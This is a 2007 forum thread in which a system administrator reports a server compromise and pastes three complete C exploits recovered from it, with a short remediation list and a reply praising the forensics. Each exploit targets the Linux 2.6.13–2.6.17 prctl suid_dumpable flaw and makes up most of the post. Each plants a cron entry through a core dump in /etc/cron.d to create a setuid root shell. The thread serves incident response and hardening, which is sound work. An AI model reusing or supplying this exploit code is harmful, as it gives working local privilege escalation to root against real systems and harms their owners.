paul Posted January 11, 2007 Report Share Posted January 11, 2007 initial access: http://143.225.151.190/libsh/ping.txt affected kernel 2.6.13->17 C files uploaded: #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <signal.h> #include <sys/stat.h> #include <sys/resource.h> #include <sys/prctl.h> #define INFO1 "raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability" #define INFO2 "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>" char payload[] = /* commands to be executed by privileged crond */ "\nSHELL=/bin/sh\nPATH=/usr/bin:/usr/sbin:/sbin:/bin\n* * * * * root chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core\n"; char pwnage[] = /* build setuid() helper to circumvent bash checks */ "echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c"; int main(void) { int pid, i; struct rlimit corelimit; struct stat st; /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* prepare the setuid() helper */ system(pwnage); /* set core size to unlimited */ corelimit.rlim_cur = RLIM_INFINITY; corelimit.rlim_max = RLIM_INFINITY; setrlimit(RLIMIT_CORE, &corelimit); /* let's do the PR_SET_DUMPABLE magic */ if (!(pid = fork())) { chdir("/etc/cron.d"); prctl(PR_SET_DUMPABLE, 2); sleep(666); exit(1); } kill(pid, SIGSEGV); /* did it work? */ sleep(3); if (stat("/etc/cron.d/core", &st) < 0) { fprintf(stderr, "Error: Not vulnerable? See comments.\n"); exit(1); } fprintf(stderr, "Ready to uncork the champagne? "); fprintf(stderr, "Please wait a couple of minutes;)\n"); /* wait for crond to execute our evil entry */ for (i = 0; i < 124; i += 2) { if (stat("/tmp/pwned", &st) < 0) { fprintf(stderr, "\nError: Check /tmp/pwned!\n"); exit(1); } if (st.st_uid == 0) break; fprintf(stderr, "."); sleep(2); } /* timeout reached? */ if (i > 120) { fprintf(stderr, "\nTimeout: Check /tmp/pwned!\n"); exit(1); } /* total pwnage */ fprintf(stderr, "CAMPIONI DEL MONDO!\n\n"); system("/tmp/pwned"); exit(0); } file 2: #include <stdio.h> #include <sys/time.h> #include <sys/resource.h> #include <unistd.h> #include <linux/prctl.h> #include <stdlib.h> #include <sys/types.h> #include <signal.h> char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root cp /bin/sh /tmp/sh; chown root /tmp/sh; chmod 4755 /tmp/sh; rm -f /etc/cron.d/core\n"; int main() { int child; struct rlimit corelimit; printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n"); printf("By: dreyer & RoMaNSoFt\n"); printf("[ 10.Jul.2006 ]\n\n"); corelimit.rlim_cur = RLIM_INFINITY; corelimit.rlim_max = RLIM_INFINITY; setrlimit(RLIMIT_CORE, &corelimit); printf("[*] Creating Cron entry\n"); if ( !( child = fork() )) { chdir("/etc/cron.d"); prctl(PR_SET_DUMPABLE, 2); sleep(200); exit(1); } kill(child, SIGSEGV); printf("[*] Sleeping for aprox. one minute (** please wait **)\n"); sleep(62); printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n"); system("/tmp/sh -i"); } file 3: #include <sys/types.h> #include <sys/time.h> #include <sys/resource.h> #include <sys/prctl.h> #include <unistd.h> #include <stdio.h> #include <errno.h> #include <signal.h> #include <stdlib.h> #include <time.h> #define CROND "/etc/cron.d" #define BUFSIZE 2048 struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY}; char crontemplate[]= "#/etc/cron.d/core suid_dumpable exploit\n" "SHELL=/bin/sh\n" "PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n" "#%s* * * * * root chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n"; char cronstring[BUFSIZE]; char fname[BUFSIZE]; struct timeval te; void sh(int sn) { execl(fname, fname, (char *) NULL); } int main(int argc, char *argv[]) { int nw, pid; if (geteuid() == 0) { printf("[+] getting root shell\n"); setuid(0); setgid(0); if (execl("/bin/sh", "/bin/sh", (char *) NULL)) { perror("[-] execle"); return 1; } } printf("\nprctl() suidsafe exploit\n\n(C) Julien TINNES\n\n"); /* get our file name */ if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) { perror("[-] readlink"); printf("This is not fatal, rewrite the exploit\n"); } if (signal(SIGUSR1, sh) == SIG_ERR) { perror("[-] signal"); return 1; } printf("[+] Installed signal handler\n"); /* Let us create core files */ setrlimit(RLIMIT_CORE, &myrlimit); if (chdir(CROND) == -1) { perror("[-] chdir"); return 1; } /* exploit the flaw */ if (prctl(PR_SET_DUMPABLE, 2) == -1) { perror("[-] prtctl"); printf("Is you kernel version >= 2.6.13 ?\n"); return 1; } printf("[+] We are suidsafe dumpable!\n"); /* Forge the string for our core dump */ nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid()); if (nw >= sizeof(cronstring)) { printf("[-] cronstring is too small\n"); return 1; } printf("[+] Malicious string forged\n"); if ((pid=fork()) == -1) { perror("[-] fork"); return 1; } if (pid == 0) { /* This is not the good way to do it;) */ sleep(120); exit(0); } /* SEGFAULT the child */ printf("[+] Segfaulting child\n"); if (kill(pid, 11) == -1) { perror("[-] kill"); return 1; } if (gettimeofday(&te, NULL) == 0) printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60)); sleep(120); printf("[-] It looks like the exploit failed\n"); return 1; } To fix: install a kernel greater than 2.6.17 reinstall binutils on binary distro's like mandriva, this may require a system rebuild :unsure: on src based distro's, a rebuild replace (gentoo: emerge baselayout binutils) also there was possible evidence that gcc had been tampered with (perhaps .. not sure .. but just incase) reinstall gcc /etc/cron* is a weak point here chmod -R 750 /etc/cron* this will allow only the user root to write into these directories if you're using vixie-cron this will not affect your users as user crons are stored in /var/spool/cron if you are using some other cron, you may want to check the manual to ensure user crons can still be used after changing permissions on /etc/cron* another thing: if you have /tmp on a different partition (every good sys admin should) ensure noexec is turned on /dev/hda8 /tmp reiserfs noatime,noexec 0 0 find out how they got the initial ping txt file on your system. in my case it was a weak php script, so evidence was found in /var/log/apache/access_log and error_log possiblities are badly configured ftp server, weak scripts (php, perl python .. what ever), email attachment strippers (not the girlie kind ;) ) in short, root has been compromised, so do what you need to, so that it is fixed. in many cases this will mean a complete system reinstall, but be sure to keep a copy of logs etc, so you can find out how they got in, and *not* do it again :) Quote Link to comment Share on other sites More sharing options...
Phil Edwards Posted February 25, 2007 Report Share Posted February 25, 2007 Nice bit of forensic work, well done! B) One other handy tip is to change the permissions on the gcc binary so it's only executable by root - most script kiddie stuff gets in via processes which run under unprivileged accounts, so this together with the 'noexec' on /tmp can help a lot. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.